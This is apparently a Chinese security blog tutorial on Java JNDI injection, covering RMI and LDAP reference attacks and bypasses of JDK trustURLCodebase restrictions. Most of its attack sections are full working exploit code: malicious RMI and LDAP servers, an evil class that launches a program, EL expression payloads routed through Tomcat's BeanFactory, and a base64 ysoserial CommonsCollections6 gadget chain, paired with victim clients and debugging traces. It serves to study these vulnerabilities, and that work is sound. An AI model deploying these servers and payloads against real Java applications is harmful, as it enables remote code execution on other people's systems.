Java反序列化漏洞之JNDI注入详解(9)
2023-06-15 17:11:14 # Web Security # Java Deserialization

前言

我们在爆出的Java相关的漏洞复现中经常遇到JNDI注入,比如在最近的log4j2命令执行漏洞中就涉及到JNDI注入。

此篇文章将详细讲解JNDI注入原理、与RMI和LDAP等服务配合注入的例子。

JNDI是什么

JNDI是 Java 命名与目录接口(Java Naming and Directory Interface)

之前我们有提到过RMI的概念,但在实际安全测试中,RMI远程动态类加载的条件十分苛刻,这一点在Java反序列化漏洞之利用链分析集合(4)中的codebase命令执行有提到。

The JNDI architecture consists of an API and a service provider interface (SPI). Java applications use the JNDI API to access a variety of naming and directory services.

JNDI实际上就是提供一个API接口,让客户端能够用一个name来访问到不同的服务。

img

通过上图可以发现,JNDI architecture由四个部分组成, 而之前提到的RMI动态加载类便是直接发生在SPI接口

JNDI Reference + RMI

由来

In order to bind Java objects in a Naming or Directory service, it is possible to use Java serialization to get the byte array representation of an object at a given state. However, it is not always possible to bind the serialized state of an object because it might be too large or it might be inadequate.

For such needs, JNDI defined Naming References (or just References from now on) so that objects could be stored in the Naming or Directory service indirectly by binding a reference that could be decoded by the Naming Manager and resolved to the original object.

我们希望通过java序列化的方式来得到远程的object,但有时候可能不会成功。因此JNDI提出了Naming references - 即返回一个reference,该reference会在Naming Manager上被解析(而非SPI接口上), 最后再由JNDI的请求端去加载指定地址上的object。

关键点在于,当我们使用Naming references时,动态加载的过程将不再发生在SPI上,因此我们之前提到的RMI的codebase动态加载的限制不复存在,但我们也有了在Naming Manager上的新的限制:com.sun.jndi.rmi.object.trustURLCodebase需要设为true,否则将无法客户端加载codebase上的远程类(默认为false)

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

攻击实现

此处我们将伪造一个LocateRegistry,返回恶意的Reference object

JNDIServer.java(攻击方)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class JNDIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException, NamingException {
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("EvilObject","EvilObject","http://127.0.0.1:8080/");//创建恶意reference,恶意类的地址在127.0.0.1:8080 ->也就是codebase
ReferenceWrapper wrapper = new ReferenceWrapper(reference);//
Naming.bind("rmi://127.0.0.1:1099/EvilObject",wrapper);
System.out.println("远程服务启动成功");

}
}

此处Reference类并不继承UnicastRemoteObject,所以我们需要用ReferenceWrapper来对其进行包装 - ReferenceWrapper是继承UnicastRemoteObject的且可被序列化。

随后将恶意reference绑定在RMI LocateRegistry上即可。

TEST.java(被攻击方)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class TEST {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
Context context = new InitialContext();//新建InitialContext
context.lookup("rmi://127.0.0.1:1099/EvilObject");//访问RMI服务,请求返回EvilObject
} catch (NamingException e) {
e.printStackTrace();
}
}
}

EvilObject.java(恶意类)

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;
public class EvilObject {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

接下来,我们在Intellij中build project,我们需要模拟的是攻击方JNDIServer.class与EvilObject.class(恶意类)均不和TEST.class放在一起,否则Test.class会在本地找到EvilObject.class,从而不会下载并加载codebase指向的恶意class

在生成的EvilObject.class下使用python启动web服务

python -m http.server 8080

随后运行JNDIServerTEST,计算器成功弹出

image-20211213150021023

lookup流程分析

限制可能很多人会有困惑,为什么一个**context.lookup()**就能触发反序列化漏洞呢?

我们对Test类调试一下:

image-20211213150159372

F7单步步入,

看一下堆栈image-20211213150616099

前面流程太多就不分析了,我们注意到在RegistryContext.lookup()中,我们从registery得到了Reference类型的obj,随后返回了decodeObject()

image-20211213150948072

我们再在decodeObject处下个断点,跟进去看看是什么

image-20211213151220258

继续跟到getObjectInstance

image-20211213151347130

继续跟进getObjectFactoryFromReference()

image-20211213151656449

最后计算器成功弹出

image-20211213151546025

JNDI+RMI绕过高版本JDK限制

由来

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。

那有没有什么办法能够绕过这样的限制呢?

绕过思路

我将JAVA版本切换到1.8.0_181,删除掉之前设置的System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

被攻击方 TEST.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class TEST {
public static void main(String[] args) {
try {
Context context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/EvilObject");
} catch (NamingException e) {
e.printStackTrace();
}
}

}

运行后提示:

image-20211215154956341

我们下断点来跟一下具体是怎么检测的。

一直跟到decodeObject()

image-20211215155320815

此处会check传过来的instance里是否有FactoryClassLocation,同时checktrustURLCodebase是否为flase,如果满足以上条件,则抛出异常。我们已知trustURLCodebase是无法改变的,因为我们之前在客户端并未设置System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");,所以该variable一定是false。但是我们可以让传过来的reference不带FactoryClassLocation,这样就不会抛出异常了。

继续往下看,我们发现,当我们绕过了这个if statement以后,会进入NamingManager.getObjectInstance()

我们先修改一下server端,在继续来调试一下看看

1
2
3
4
5
6
7
8
9
10
11
public class JNDIServer {
public static void main(String[] args) throws IOException, AlreadyBoundException, NamingException, ClassNotFoundException, NoSuchMethodException {

LocateRegistry.createRegistry(1099);
Reference reference = new Reference("EvilObject", new StringRefAddr("1", "2"));//去掉了FactoryLocation,先随便写
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/EvilObject",wrapper);
System.out.println("远程服务启动成功");

}
}

image-20211215161517089

image-20211215161924194

我们再看回Server的代码,我们发现构造reference的时候可以传入factory,但是后面还需要factoryLocation,我们直接传null就好了

image-20211215162132105

1
2
3
4
5
6
7
8
9
10
public class JNDIServer {
public static void main(String[] args) throws IOException, AlreadyBoundException, NamingException, ClassNotFoundException, NoSuchMethodException {
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("EvilObject","EvilObject",null);//这里的className和factory都是暂时的,只是为了搞清楚流程
//Reference reference = new Reference("EvilObject","EvilObject","http://127.0.0.1:8080/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/EvilObject",wrapper);
System.out.println("远程服务启动成功");
}
}

再次调试客户端:

image-20211215162526558

image-20211215162856640

在最后一行,根据加载的class返回了一个ObjectFactory类型的instance。 因此,我们需要寻找一个客户端本地存在的实现ObjectFactory类的class来利用,同时构造函数得是无参构造函数。

光是构造了一个instance并不够,因为客户端上不可能有一个我们已经放上去的恶意类,要不然也太简单了。

继续返回NamingManager.getObjectInstance()

我们发现,在获取到factory instance后,还执行了factory的getObjectInstance方法

image-20211215163846004

那么我们现在确定需要找到满足以下条件的class:

  • implements ObjectFactory class
  • 有【无参构造函数】
  • 其**getObjectInstance()**方法能有办法执行RCE命令

接下来就是漫漫长路…

image-20211215165054737

BeanFactory

可能是经验太少了,见得也少,对这种能够执行RCE的类的敏感度还不够高,我自己没能第一眼找出来可以利用的类,这里借鉴网上的文章,得知BeanFactory可以作为这个被我们利用的class。

我们继续分析。

在**BeanFactory.getObjectInstance()**中,我们往下翻,看到了反射,说明该类确实是可能被我们所利用的

image-20211215165843328

我们从开头看起:

image-20211215214221020,首先RMIserver返回的应该是ResourceRef类

image-20211215170157571

image-20211215215944762

image-20211215172007623

那么我们现在又需要找一个class作为beanclass,且该class的构造函数为无参构造函数,执行方法的parameter类型需要为String

image-20211215172428526

自然我们想到了EL表达式

下面是EL表达式执行calc的写法:

1
2
3
4
5
6
7
8
9
/* 下面的三种poc都可以 */

String poc1="\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";

String poc2="\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")";

String poc3 = "''.getClass().forName('javax.script.ScriptEngineManager')" +".newInstance().getEngineByName('nashorn')" +".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";

new ELProcessor().eval(poc1);

一切都分析完毕,我们可以开始构造server端的代码了。

代码构造

恶意Server端构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class JNDIServer {
public static void main(String[] args) throws IOException, AlreadyBoundException, NamingException, ClassNotFoundException, NoSuchMethodException {

String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('nashorn')" +
".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
String poc1 = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" +
".invoke(null),'calc.exe')}";
String poc2 = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('JavaScript')" +
".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";

LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "hello=eval"));//此处等号前面的hello必须和下一行的hello一样,因为等号前面的string会被放入hashmap作为key
resourceRef.add(new StringRefAddr("hello",poc));
ReferenceWrapper wrapper = new ReferenceWrapper(resourceRef);
Naming.bind("rmi://127.0.0.1:1099/EvilObject",wrapper);
System.out.println("远程服务启动成功");
}

这里需要注意,在向resourceRef添加StringRefAddr的时候,需要保证

1
2
resourceRef.add(new StringRefAddr("forceString", "hello=eval"));//等号前面的值和下面的addrType一样
resourceRef.add(new StringRefAddr("hello",poc));

假设不一样,如果下面的代码是resourceRef.add(new StringRefAddr("x",poc));

image-20211215220822913

image-20211215220909325

那么在之后获取method的时候,会返回空值。

受攻击方:Test.java

1
2
3
4
5
6
7
8
9
10
public class TEST {
public static void main(String[] args) {
try {
Context context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/EvilObject");
} catch (NamingException e) {
e.printStackTrace();
}
}
}

总结

除了查询了BeanFactory可以被利用,以及EL表达式的相关代码(因为不会)以外,其他均是我自己独立审计的过程,并未照抄代码去跟,希望能锻炼自己的代码审计能力。虽然依然很菜,但是感觉到了有明显的进步。

这一节写的很乱,但也是整个完整审计过程的复现。

JNDI+LDAP注入

由来

为了绕过JNDI+RMI的限制,大佬们又盯上了JNDI+LDAP,LDAP服务也能返回JNDI Reference对象,利用过程与之前的JNDI+RMI基本相同。

在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

攻击实现

攻击方:自定义LDAP服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPInj {

private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://localhost:8080/#EvilLDAP")));
// 当前环境下如果没有EvilLDAP.class,则会去访问8080端口下的 /EvilLDAP.class
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

我们使用拦截器,来拦截修改返回entry的attribute

被攻击方: TEST.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class TEST {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
// //写法一 将codebase的地址写在lookup中
Context context = new InitialContext();
context.lookup("ldap://127.0.0.1:7777/#EvilLDAP");
//写法二 预先设定环境,以hashtable的形式保存在context中
/* Hashtable<String,String> env= new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:7777");
Context context = new InitialContext(env);
context.lookup("#EvilLDAP");*/
} catch (NamingException e) {
e.printStackTrace();
}
}
}

**InitialContext()**是使用JNDI的接口

方法一直接将完整地址(包括服务类型)都写在lookup中,方法二预先设定相关codebase配置

攻击流程分析

我们要了解,LDAP在使用search功能的时候,实质上,是会返回一系列entry,entry中会包含各种attributes

举个例子,比如我想要查询某些数据,可以通过search的功能来搜索,例如:

image-20211214192038752

它返回的不是object,而是attribute,因此,正常来说,这个search function是不存在RCE漏洞的。

Blackhat 2016中大佬们有提到:

image-20211214191715523

LDAP中有个SearchConrols.setReturningObjFlag(),当它为true的时候,表明我们的返回结果中会包含一个instance,同时LDAP返回的entry会根据attribute来重新构建一个instance,,这一点我们先记住了。

触发的代码是lookup(),我们猜测是不是lookup()里面有instance呢?

调试一下被攻击方: TEST.java

前面一系列的调用就不说了,关键在LdapCtx.c_lookup()

image-20211214192651508

image-20211214192820056

看到了熟悉的SearchControlssetReturningObjFlag和**doSearch()**方法。

继续往下走

image-20211214204848798,我们发现decodeObject()的参数是attributes,

进去看看:

image-20211214205501121

继续跟进decodeReference(),发现里面就是在获取attributes的值,然后用这些attributes新建一个reference,最后返回。

image-20211214205834240

然后回到**LdapCtx.c_lookup(),最后走到了getObjectInstance()**方法

image-20211214210111308

往下发现了我们在之前Reference+RMI案例中一样的funciton - getObjectFactoryFromReference()

image-20211214210233645

接下来就是从远程codebase加载class

image-20211214210311439

执行到loadClass,弹出了计算器。

image-20211214210346103

总结

简单总结一下,JNDI+LDAP注入的流程

  • JNDI的lookup()参数可控,攻击者修改参数为恶意的LDAP服务器地址
  • 攻击者构造的LDAP服务器使用拦截器,修改response,在返回的entry中添加attributes - javaClassName, javaCodeBase, objectClass, javaFactory。
  • 修改后的response被返回给客户端,客户端根据attributes重新生成一个reference类型的object,并通过该reference远程加载codebase上的恶意class

整个流程到此结束。

JNDI+LDAP绕过高版本JDK限制

由来

在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,那么我们能否绕过该检测呢?

首次尝试

同样是将client的lookup()进行断点,我们跟到VersionHelper12.loadClass()

image-20211216214228623

1
2
3
4
5
6
7
8
9
10
11
12
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {//此处会检测trustURLCodebase是否为真
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);//加载CLASS

return loadClass(className, cl);
} else {
return null;//不为真则返回空
}
}

这里返回空,导致我们无法RCE。

同样的,我们只能考虑加载本地Class

在**NamingManager.getObjectFactoryFromReference()**中,我们可以看到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader 这里会查找本地path下的class
try {
clas = helper.loadClass(factoryName);//找到后进行加载
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;//加载后的Class在这里会被新建一个对象
}

我们注意到,加载后的class会被转换成ObjectFactory类,并新建一个instance

因此我们需要找到一个implements ObjectFactory的class。

继续往下执行,返回到了DirectoryManager.getObjectInstance()

image-20211216220902748

发现这里执行了factory.getObjectInstance(),还记得前面的JNDI+RMI绕过高版本JDK限制的章节吗,我们用到了BeanFactory来反射执行了ELProcessor,那在这里我们是否可以继续这样使用呢?答案是不可以。

DirectoryManager.getObjectInstance()中,将ref转换成了Reference类,而我们的BeanFactory.getObjectInstance()中要求obj必须为ResourceRef。JNDI在接收到LDAP server传过来的entry后,会根据attribute重新生成Reference类的object,所以导致我们无法满足BeanFactory的要求。

image-20211216222112900

image-20211216221823204

所以我们不能利用本地Class中的BeanFactory来进行RCE的触发,还有没有其他办法呢?

再次尝试之反序列化数据

Alvaro Muñoz 和Oleksandr MiroshheBlack Hat提到了Entry Poisoning with Serialized Objects,正如我们之前所说,JNDI在接收到Entry后会根据其attributes来reconstruct a reference object

有四种类型的java object representation可以被存储在Directory Service中:

  • Serialized Objects(javaSerializedObject)
    • JavaClassName, javaClassNames, javaCodebase, javaSerializedData
  • JNDI References(javaNamingReference)
    • JavaClassName, javaClassNames, javaCodebase, javaReferenceAddress, javaFactory
  • Marshalled Objects(javaMarshalledObject)
    • javaClassName, javaClassNames, javaSerializedData
  • Remote Location(Deprecated)
    • javaClassName, javaRemoteLocation

很明显,我们让传入的attributes是Serialized Objects的特征,这样我们就可以使用本地的gadgets了。

接下来,我将使用cc6的反序列化链来实现:

在windows上不能直接base64编码很麻烦,所以我把ysoserial的jar包拖到kali中生成

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections6 "calc"|base64

Payload

恶意Server端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPInj {

private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://localhost:8080/#EvilLDAP")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

受攻击Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package jndi;

import javax.el.ELProcessor;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class TEST {
public static void main(String[] args) {
try {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
// //写法一 将codebase的地址写在lookup中
//context.lookup("ldap://127.0.0.1:7777/#EvilLDAP");
//写法二 预先设定环境,以hashtable的形式保存在context中
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Hashtable<String,String> env= new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:7777");
Context context = new InitialContext(env);
context.lookup("Exploit");
} catch (NamingException e) {
e.printStackTrace();
}
}

}

一些题外话

一些题外话:在学习JNDI与LDAP结合注入的过程中,我翻阅了大量资料,发现网上基本都是各种复刻版,实在不适合新手学习,后来去看了Alvaro Muñoz 和Oleksandr MiroshheBlack Hat的演讲,感觉豁然开朗。在此文中,我难以将我遇到的坑全部讲清楚,建议动手操作,最好是先去看看Black Hat的视频,其中将JNDI注入、LDAP和一些相关应用场景讲的非常清楚。

Reference

A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land

HPE Security Fortify, Software Security Research

Java RMI反序列化与JNDI注入入门